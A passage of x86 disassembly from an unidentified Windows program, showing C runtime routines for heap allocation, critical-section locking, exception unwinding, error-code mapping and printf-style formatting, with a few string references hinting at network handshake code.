ebx, [ebp+var_20] jnz short loc_40804E mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_40807F jmp short loc_408038 ; --------------------------------------------------------------------------- loc_408032: ; CODE XREF: sub_407E60+1EAj inc dword_4111F8 loc_408038: ; CODE XREF: sub_407E60+1D0j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_40804C cmp eax, 7 jl short loc_408032 loc_40804C: ; CODE XREF: sub_407E60+1E5j jmp short loc_40807F ; --------------------------------------------------------------------------- loc_40804E: ; CODE XREF: sub_407E60+1B5j mov eax, [ebx-8] mov [ebp+var_24], eax mov edx, [ebp+var_24] mov eax, [ebp+var_20] mov [edx-4], eax mov edx, [ebp+var_20] mov eax, [ebp+var_24] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_40807F mov eax, [ebp+var_C] mov edx, [ebp+var_24] mov dword_4111A8[eax*4], edx loc_40807F: ; CODE XREF: sub_407E60+1CEj ; sub_407E60:loc_40804Cj ... mov eax, [ebp+var_18] mov eax, dword_4111A8[eax*4] mov [ebp+var_24], eax test eax, eax jnz short loc_4080B5 mov [ebp+var_20], ebx mov [ebp+var_24], ebx mov eax, [ebp+var_18] mov dword_4111A8[eax*4], ebx mov eax, [ebp+var_18] cmp dword_4111F8, eax jle short loc_4080BE mov eax, [ebp+var_18] mov dword_4111F8, eax jmp short loc_4080BE ; --------------------------------------------------------------------------- loc_4080B5: ; CODE XREF: sub_407E60+22Ej mov eax, [ebp+var_24] mov eax, [eax-8] mov [ebp+var_20], eax loc_4080BE: ; CODE XREF: sub_407E60+249j ; sub_407E60+253j mov eax, [ebp+var_24] mov [ebx-4], eax mov edx, [ebp+var_24] mov [edx-8], ebx mov edx, [ebp+var_20] mov [edx-4], ebx mov eax, [ebp+var_20] mov [ebx-8], eax mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp loc_408174 ; --------------------------------------------------------------------------- loc_4080EC: ; CODE XREF: sub_407E60+1A6j mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp short loc_408174 ; --------------------------------------------------------------------------- loc_4080FF: ; CODE XREF: sub_407E60+120j mov eax, [ebx-4] mov [ebp+var_1C], eax cmp ebx, [ebp+var_1C] jnz short loc_408141 mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_408172 jmp short loc_40812B ; --------------------------------------------------------------------------- loc_408125: ; CODE XREF: sub_407E60+2DDj inc dword_4111F8 loc_40812B: ; CODE XREF: sub_407E60+2C3j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_40813F cmp eax, 7 jl short loc_408125 loc_40813F: ; CODE XREF: sub_407E60+2D8j jmp short loc_408172 ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_407E60+2A8j mov eax, [ebx-8] mov [ebp+var_20], eax mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx-4], eax mov edx, [ebp+var_1C] mov eax, [ebp+var_20] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_408172 mov eax, [ebp+var_C] mov edx, [ebp+var_20] mov dword_4111A8[eax*4], edx loc_408172: ; CODE XREF: sub_407E60+2C1j ; sub_407E60:loc_40813Fj ... mov esi, edi loc_408174: ; CODE XREF: sub_407E60+287j ; sub_407E60+29Dj mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax lea eax, [edx+4] mov [ebp+var_8], eax mov edx, esi or edx, 80000000h mov [eax+esi*4-4], edx mov [eax], edx mov eax, [ebp+var_8] add eax, 4 loc_408197: ; CODE XREF: sub_407E60+F4j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407E60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081A0 proc near ; CODE XREF: sub_406D40+Dp ; sub_407910+Ap ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00408207 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8BC push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], 0 mov eax, dword_4117E0 cmp [ebp+arg_0], eax jnb short loc_408207 push 0 call sub_408740 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_407E60 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4081FE jmp short loc_408207 sub_4081A0 endp ; =============== S U B R O U T I N E ======================================= sub_4081FE proc near ; CODE XREF: sub_4081A0+57p ; DATA XREF: DMN0:0040F8C4o push 0 call sub_4087C0 pop ecx retn sub_4081FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4081A0 loc_408207: ; CODE XREF: sub_4081A0+35j ; sub_4081A0+5Cj cmp [ebp+var_1C], 0 jnz short loc_40821A mov eax, [ebp+arg_0] push eax call sub_4085F0 pop ecx mov [ebp+var_1C], eax loc_40821A: ; CODE XREF: sub_4081A0+6Bj cmp [ebp+var_1C], 0 jnz short loc_40822B call sub_4083A0 mov dword ptr [eax], 0Ch loc_40822B: ; CODE XREF: sub_4081A0+7Ej mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4081A0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408240 proc near ; CODE XREF: sub_407910+7Bp ; sub_408D80+80p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 91h jz loc_408312 jg short loc_40829D cmp ebx, 50h jl short loc_408264 cmp ebx, 59h jg short loc_408275 jmp dword ptr aProtorecvDataS+3[ebx*4] ; --------------------------------------------------------------------------- loc_408264: ; CODE XREF: sub_408240+16j cmp ebx, 1 jl short loc_4082E2 cmp ebx, 43h jg short loc_4082E2 jmp off_40F8EC[ebx*4] ; --------------------------------------------------------------------------- loc_408275: ; CODE XREF: sub_408240+1Bj cmp ebx, 6Ch jl short loc_4082E2 cmp ebx, 72h jg short loc_408286 jmp dword ptr a02i02i02iIIIS+6[ebx*4] ; --------------------------------------------------------------------------- loc_408286: ; CODE XREF: sub_408240+3Dj cmp ebx, 80h jl short loc_4082E2 cmp ebx, 84h jg short loc_4082E2 jmp dword ptr aWinsock2_xInit+0Eh[ebx*4] ; --------------------------------------------------------------------------- loc_40829D: ; CODE XREF: sub_408240+11j cmp ebx, 0A4h jz short loc_40831F cmp ebx, 0A7h jz short loc_408312 jg short loc_4082C1 cmp ebx, 9Eh jz short loc_408312 cmp ebx, 0A1h jz short loc_4082F2 jmp short loc_4082E2 ; --------------------------------------------------------------------------- loc_4082C1: ; CODE XREF: sub_408240+6Dj cmp ebx, 0B7h jl short loc_4082E2 cmp ebx, 0D7h jg short loc_4082D8 jmp dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n" ; --------------------------------------------------------------------------- loc_4082D8: ; CODE XREF: sub_408240+8Fj cmp ebx, 718h jz short loc_408302 jmp short $+2 loc_4082E2: ; CODE XREF: sub_408240+27j ; sub_408240+2Cj ... call sub_4083A0 mov dword ptr [eax], 16h jmp loc_408392 ; --------------------------------------------------------------------------- loc_4082F2: ; CODE XREF: sub_408240+2Ej ; sub_408240+7Dj ... call sub_4083A0 mov dword ptr [eax], 2 jmp loc_408392 ; --------------------------------------------------------------------------- loc_408302: ; CODE XREF: sub_408240+2Ej ; sub_408240+9Ej ... call sub_4083A0 mov dword ptr [eax], 0Ch jmp loc_408392 ; --------------------------------------------------------------------------- loc_408312: ; CODE XREF: sub_408240+Bj ; sub_408240+2Ej ... call sub_4083A0 mov dword ptr [eax], 0Dh jmp short loc_408392 ; --------------------------------------------------------------------------- loc_40831F: ; CODE XREF: sub_408240+2Ej ; sub_408240+63j ... call sub_4083A0 mov dword ptr [eax], 0Bh jmp short loc_408392 ; --------------------------------------------------------------------------- loc_40832C: ; CODE XREF: sub_408240+2Ej ; sub_4491C1+2Ej ; DATA XREF: ... call sub_4083A0 mov dword ptr [eax], 11h jmp short loc_408392 ; --------------------------------------------------------------------------- loc_408339: ; CODE XREF: sub_408240+2Ej ; sub_4491C1+2Ej ; DATA XREF: ... call sub_4083A0 mov dword ptr [eax], 9 jmp short loc_408392 ; --------------------------------------------------------------------------- loc_408346: ; CODE XREF: sub_408240+2Ej ; sub_4491C1+2Ej ; DATA XREF: ... call sub_4083A0 mov dword ptr [eax], 0Ah jmp short loc_408392 ; --------------------------------------------------------------------------- loc_408353: ; CODE XREF: sub_408240+2Ej ; sub_4491C1+2Ej ; DATA XREF: ... call sub_4083A0 mov dword ptr [eax], 8 jmp short loc_408392 ; --------------------------------------------------------------------------- loc_408360: ; CODE XREF: sub_408240+2Ej ; sub_4491C1+2Ej ; DATA XREF: ... call sub_4083A0 mov dword ptr [eax], 18h jmp short loc_408392 ; --------------------------------------------------------------------------- loc_40836D: ; CODE XREF: sub_408240+2Ej ; sub_4491C1+2Ej ; DATA XREF: ... call sub_4083A0 mov dword ptr [eax], 1Ch jmp short loc_408392 ; --------------------------------------------------------------------------- loc_40837A: ; CODE XREF: sub_408240+2Ej ; sub_4491C1+2Ej ; DATA XREF: ... call sub_4083A0 mov dword ptr [eax], 20h jmp short loc_408392 ; --------------------------------------------------------------------------- loc_408387: ; CODE XREF: sub_408240+2Ej ; sub_4491C1+2Ej ; DATA XREF: ... call sub_4083A0 mov dword ptr [eax], 12h loc_408392: ; CODE XREF: sub_408240+ADj ; sub_408240+BDj ... pop ebx retn sub_408240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4083A0 proc near ; CODE XREF: sub_406D70+1Bp ; sub_4081A0+80p ... call sub_409090 add eax, 8 retn sub_4083A0 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083B8 proc near ; DATA XREF: sub_4070F0+Ao ; sub_407300+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz short loc_40844D mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4083E7: ; CODE XREF: sub_4083B8+8Cj cmp esi, 0FFFFFFFFh jz short loc_40845D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_40843B push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] test eax, eax jz short loc_40843B js short loc_408446 mov edi, [ebx+8] push ebx call sub_408490 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4084E0 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_408589 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_40843B: ; CODE XREF: sub_4083B8+3Cj ; sub_4083B8+4Ej mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4083E7 ; --------------------------------------------------------------------------- loc_408446: ; CODE XREF: sub_4083B8+50j mov eax, 0 jmp short loc_408462 ; --------------------------------------------------------------------------- loc_40844D: ; CODE XREF: sub_4083B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4084E0 add esp, 8 pop ebp loc_40845D: ; CODE XREF: sub_4083B8+32j mov eax, 1 loc_408462: ; CODE XREF: sub_4083B8+93j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4083B8 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4084E0 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408490 proc near ; CODE XREF: sub_4083B8+56p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4084A8 push [ebp+arg_0] call sub_40D420 ; RtlUnwind loc_4084A8: ; DATA XREF: sub_408490+Bo ; sub_449411+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408490 endp ; =============== S U B R O U T I N E ======================================= sub_4084B0 proc near ; DATA XREF: sub_4084E0+Ao ; DMN0:00408559o ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4084D1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4084D1: ; CODE XREF: sub_4084B0+10j retn sub_4084B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4084E0 proc near ; CODE XREF: sub_4083B8+63p ; sub_4083B8+9Cp ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4084B0 push large dword ptr fs:0 mov large fs:0, esp loc_4084FD: ; CODE XREF: sub_4084E0:loc_408538j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40853A cmp esi, [esp+1Ch+arg_4] jz short loc_40853A lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_408538 push 101h mov eax, [ebx+esi*4+8] call sub_408589 call dword ptr [ebx+esi*4+8] loc_408538: ; CODE XREF: sub_4084E0+44j jmp short loc_4084FD ; --------------------------------------------------------------------------- loc_40853A: ; CODE XREF: sub_4084E0+2Aj ; sub_4084E0+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4084E0 endp ; --------------------------------------------------------------------------- align 10h xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4084B0 jnz short locret_408572 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_408572 mov eax, 1 locret_408572: ; CODE XREF: DMN0:00408560j ; DMN0:0040856Bj retn ; --------------------------------------------------------------------------- align 10h push ebx push ecx mov ebx, offset dword_411200 jmp short loc_408593 ; =============== S U B R O U T I N E ======================================= sub_408589 proc near ; CODE XREF: sub_4083B8+74p ; sub_4084E0+4Fp push ebx push ecx mov ebx, offset dword_411200 mov ecx, [ebp+8] loc_408593: ; CODE XREF: DMN0:00408587j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_408589 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4085B0 proc near ; CODE XREF: sub_407AA0+36p push 0 push 1000h push 0 call dword_411DB0 ; HeapCreate mov dword_4127F0, eax test eax, eax setnz al and eax, 1 retn sub_4085B0 endp ; --------------------------------------------------------------------------- align 10h mov eax, dword_4127F0 push eax call dword_411DB4 ; HeapDestroy mov dword_4127F0, 0 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4085F0 proc near ; CODE XREF: sub_4081A0+71p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DB8 ; RtlAllocateHeap retn sub_4085F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DBC ; RtlReAllocateHeap pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408630 proc near ; CODE XREF: sub_4070F0+41p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC0 ; RtlFreeHeap retn sub_408630 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi mov eax, [esp+0Ch] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC4 ; RtlSizeHeap mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_408672 xor esi, esi jmp short loc_408674 ; --------------------------------------------------------------------------- loc_408672: ; CODE XREF: DMN0:0040866Cj mov esi, ebx loc_408674: ; CODE XREF: DMN0:00408670j mov eax, esi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h mov eax, [esp+4] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC8 ; HeapValidate test eax, eax setnz al and eax, 1 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4086A0 proc near ; CODE XREF: sub_408FD0+1p mov eax, off_411210 push eax call dword_411CC8 ; InitializeCriticalSection mov eax, off_411214 push eax call dword_411CC8 ; InitializeCriticalSection mov eax, off_411218 push eax call dword_411CC8 ; InitializeCriticalSection mov eax, off_41121C push eax call dword_411CC8 ; InitializeCriticalSection retn sub_4086A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4086E0 proc near ; CODE XREF: DMN0:00409030p push ebx mov ebx, 4 loc_4086E6: ; CODE XREF: sub_4086E0+2Aj mov eax, off_411210[ebx*4] test eax, eax jz short loc_408706 push eax call dword_411DCC ; RtlDeleteCriticalSection mov eax, off_411210[ebx*4] push eax call sub_4070F0 pop ecx loc_408706: ; CODE XREF: sub_4086E0+Fj inc ebx cmp ebx, 9 jl short loc_4086E6 mov eax, off_411210 push eax call dword_411DCC ; RtlDeleteCriticalSection mov eax, off_411214 push eax call dword_411DCC ; RtlDeleteCriticalSection mov eax, off_411218 push eax call dword_411DCC ; RtlDeleteCriticalSection mov eax, off_41121C push eax call dword_411DCC ; RtlDeleteCriticalSection pop ebx retn sub_4086E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408740 proc near ; CODE XREF: sub_4070F0+4Bp ; sub_407300+28p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] cmp off_411210[ebx*4], 0 jnz short loc_4087A5 push 18h call sub_4081A0 pop ecx mov [ebp+var_4], eax test eax, eax jnz short loc_40876B push 1 call sub_409190 pop ecx loc_40876B: ; CODE XREF: sub_408740+21j push 3 call sub_408740 pop ecx cmp off_411210[ebx*4], 0 jnz short loc_408793 mov eax, [ebp+var_4] push eax call dword_411CC8 ; InitializeCriticalSection mov eax, [ebp+var_4] mov off_411210[ebx*4], eax jmp short loc_40879D ; --------------------------------------------------------------------------- loc_408793: ; CODE XREF: sub_408740+3Bj mov eax, [ebp+var_4] push eax call sub_4070F0 pop ecx loc_40879D: ; CODE XREF: sub_408740+51j push 3 call sub_4087C0 pop ecx loc_4087A5: ; CODE XREF: sub_408740+12j mov eax, off_411210[ebx*4] push eax call dword_411CCC ; RtlEnterCriticalSection pop ebx mov esp, ebp pop ebp retn sub_408740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4087C0 proc near ; CODE XREF: sub_40715A+2p ; sub_40735B+2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, off_411210[eax*4] push eax call dword_411CD0 ; RtlLeaveCriticalSection retn sub_4087C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087E0 proc near ; CODE XREF: sub_4071C0+3Dp ; sub_407260+27p ... var_84 = byte ptr -84h var_50 = dword ptr -50h var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = byte ptr -6 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi mov ebx, [ebp+arg_8] mov [ebp+var_48], 0 mov [ebp+var_44], 0 mov eax, [ebp+arg_0] mov [ebp+var_38], eax mov eax, [ebp+arg_4] mov [ebp+var_34], eax mov [ebp+var_10], 0 loc_408810: ; CODE XREF: sub_4087E0+A4j ; sub_4087E0+264j mov [ebp+var_4A], 0 lea eax, [ebp+var_48] push eax push 7FFFFFFFh push ebx lea eax, [ebp+var_4A] push eax call sub_409950 add esp, 10h mov esi, eax test eax, eax jg short loc_40883D cmp byte ptr [ebx], 0 setnz al and eax, 1 mov esi, eax loc_40883D: ; CODE XREF: sub_4087E0+50j cmp [ebp+var_4A], 25h jnz short loc_40884C lea eax, [esi-1] mov [ebp+var_50], eax jmp short loc_40884F ; --------------------------------------------------------------------------- loc_40884C: ; CODE XREF: sub_4087E0+62j mov [ebp+var_50], esi loc_40884F: ; CODE XREF: sub_4087E0+6Aj mov eax, [ebp+var_50] mov edi, eax test eax, eax jle short loc_408876 push edi push ebx mov eax, [ebp+var_34] push eax call [ebp+var_38] add esp, 0Ch mov [ebp+var_34], eax test eax, eax jnz short loc_408873 or eax, 0FFFFFFFFh jmp loc_408A4D ; --------------------------------------------------------------------------- loc_408873: ; CODE XREF: sub_4087E0+89j add [ebp+var_10], edi loc_408876: ; CODE XREF: sub_4087E0+76j add ebx, esi cmp [ebp+var_4A], 25h jz short loc_40888E cmp [ebp+var_4A], 0 jnz short loc_408810 mov eax, [ebp+var_10] jmp loc_408A4D ; --------------------------------------------------------------------------- loc_40888E: ; CODE XREF: sub_4087E0+9Dj mov [ebp+var_18], 0 mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0 mov [ebp+var_28], 0 mov [ebp+var_2C], 0 mov [ebp+var_8], 0 jmp short loc_4088D9 ; --------------------------------------------------------------------------- loc_4088C0: ; CODE XREF: sub_4087E0+10Ej movzx eax, [ebp+var_8] mov edx, offset dword_40FAB0 mov ecx, esi sub ecx, edx or eax, dword_40FAB8[ecx*4] mov [ebp+var_8], ax inc ebx loc_4088D9: ; CODE XREF: sub_4087E0+DEj movzx eax, byte ptr [ebx] push eax push offset dword_40FAB0 call sub_408E80 add esp, 8 mov esi, eax test eax, eax jnz short loc_4088C0 cmp byte ptr [ebx], 2Ah jnz short loc_408918 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_C], eax test eax, eax jge short loc_408915 mov eax, [ebp+var_C] neg eax mov [ebp+var_C], eax or [ebp+var_8], 4 loc_408915: ; CODE XREF: sub_4087E0+126j inc ebx jmp short loc_40894E ; --------------------------------------------------------------------------- loc_408918: ; CODE XREF: sub_4087E0+113j mov [ebp+var_C], 0 jmp short loc_40893D ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4087E0+16Cj cmp [ebp+var_C], 7FFFFFFFh jge short loc_40893C mov eax, [ebp+var_C] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_C], eax loc_40893C: ; CODE XREF: sub_4087E0+148j inc ebx loc_40893D: ; CODE XREF: sub_4087E0+13Fj movzx eax, byte ptr [ebx] mov edx, off_411898 test word ptr [edx+eax*2], 1 jnz short loc_408921 loc_40894E: ; CODE XREF: sub_4087E0+136j cmp byte ptr [ebx], 2Eh jz short loc_408959 or [ebp+var_14], 0FFFFFFFFh jmp short loc_4089A9 ; --------------------------------------------------------------------------- loc_408959: ; CODE XREF: sub_4087E0+171j inc ebx mov eax, ebx cmp byte ptr [eax], 2Ah jnz short loc_408973 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_14], eax inc ebx jmp short loc_4089A9 ; --------------------------------------------------------------------------- loc_408973: ; CODE XREF: sub_4087E0+17Fj mov [ebp+var_14], 0 jmp short loc_408998 ; --------------------------------------------------------------------------- loc_40897C: ; CODE XREF: sub_4087E0+1C7j cmp [ebp+var_14], 7FFFFFFFh jge short loc_408997 mov eax, [ebp+var_14] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_14], eax loc_408997: ; CODE XREF: sub_4087E0+1A3j inc ebx loc_408998: ; CODE XREF: sub_4087E0+19Aj movzx eax, byte ptr [ebx] mov edx, off_411898 test word ptr [edx+eax*2], 1 jnz short loc_40897C loc_4089A9: ; CODE XREF: sub_4087E0+177j ; sub_4087E0+191j movzx eax, byte ptr [ebx] push eax push offset aHjltzl ; "hjltzL" call sub_408E80 add esp, 8 test eax, eax jz short loc_4089C6 mov eax, ebx inc ebx movzx edi, byte ptr [eax] jmp short loc_4089C8 ; --------------------------------------------------------------------------- loc_4089C6: ; CODE XREF: sub_4087E0+1DCj xor edi, edi loc_4089C8: ; CODE XREF: sub_4087E0+1E4j mov eax, edi mov [ebp+var_6], al cmp al, 68h jnz short loc_4089DD cmp byte ptr [ebx], 68h jnz short loc_4089DD mov [ebp+var_6], 62h inc ebx jmp short loc_408A0D ; --------------------------------------------------------------------------- loc_4089DD: ; CODE XREF: sub_4087E0+1EFj ; sub_4087E0+1F4j cmp [ebp+var_6], 6Ch jnz short loc_4089EF cmp byte ptr [ebx], 6Ch jnz short loc_4089EF mov [ebp+var_6], 71h inc ebx jmp short loc_408A0D ; --------------------------------------------------------------------------- loc_4089EF: ; CODE XREF: sub_4087E0+201j ; sub_4087E0+206j cmp [ebp+var_6], 0 jnz short loc_408A0D cmp byte ptr [ebx], 49h jnz short loc_408A0D cmp byte ptr [ebx+1], 36h jnz short loc_408A0D cmp byte ptr [ebx+2], 34h jnz short loc_408A0D mov [ebp+var_6], 71h add ebx, 3 loc_408A0D: ; CODE XREF: sub_4087E0+1FBj ; sub_4087E0+20Dj ... lea eax, [ebp+var_84] push eax mov eax, ebx inc ebx movzx eax, byte ptr [eax] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_409C30 add esp, 10h test eax, eax jnz short loc_408A4A lea eax, [ebp+var_84] push eax lea eax, [ebp+var_40] push eax call sub_40A370 add esp, 8 test eax, eax jge loc_408810 loc_408A4A: ; CODE XREF: sub_4087E0+24Dj or eax, 0FFFFFFFFh loc_408A4D: ; CODE XREF: sub_4087E0+8Ej ; sub_4087E0+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4087E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408A60 proc near ; CODE XREF: sub_407260+6p cmp dword_411234, 0 jz short loc_408A6F mov eax, dword_411234 retn ; --------------------------------------------------------------------------- loc_408A6F: ; CODE XREF: sub_408A60+7j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConout ; "CONOUT$" call dword_411DD0 ; CreateFileA retn sub_408A60 endp ; --------------------------------------------------------------------------- align 10h cmp dword_411238, 0 jz short loc_408A9F mov eax, dword_411238 retn ; --------------------------------------------------------------------------- loc_408A9F: ; CODE XREF: DMN0:00408A97j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConin ; "CONIN$" call dword_411DD0 ; CreateFileA retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408AC0 proc near ; CODE XREF: sub_407300+35p push ebx push esi xor esi, esi xor ebx, ebx loc_408AC6: ; CODE XREF: sub_408AC0+4Ej cmp off_411370[ebx*4], 0 jnz short loc_408AEC push 4Ch call sub_4081A0 pop ecx mov esi, eax test esi, esi jz short loc_408B10 mov off_411370[ebx*4], esi mov word ptr [esi], 80h jmp short loc_408B10 ; --------------------------------------------------------------------------- loc_408AEC: ; CODE XREF: sub_408AC0+Ej mov eax, off_411370[ebx*4] cmp word ptr [eax], 0 jnz short loc_408B07 mov esi, off_411370[ebx*4] mov word ptr [esi], 0FF7Fh jmp short loc_408B10 ; --------------------------------------------------------------------------- loc_408B07: ; CODE XREF: sub_408AC0+37j inc ebx cmp ebx, 100h jb short loc_408AC6 loc_408B10: ; CODE XREF: sub_408AC0+1Cj ; sub_408AC0+2Aj ... mov eax, esi pop esi pop ebx retn sub_408AC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B20 proc near ; CODE XREF: sub_407300+45p var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, 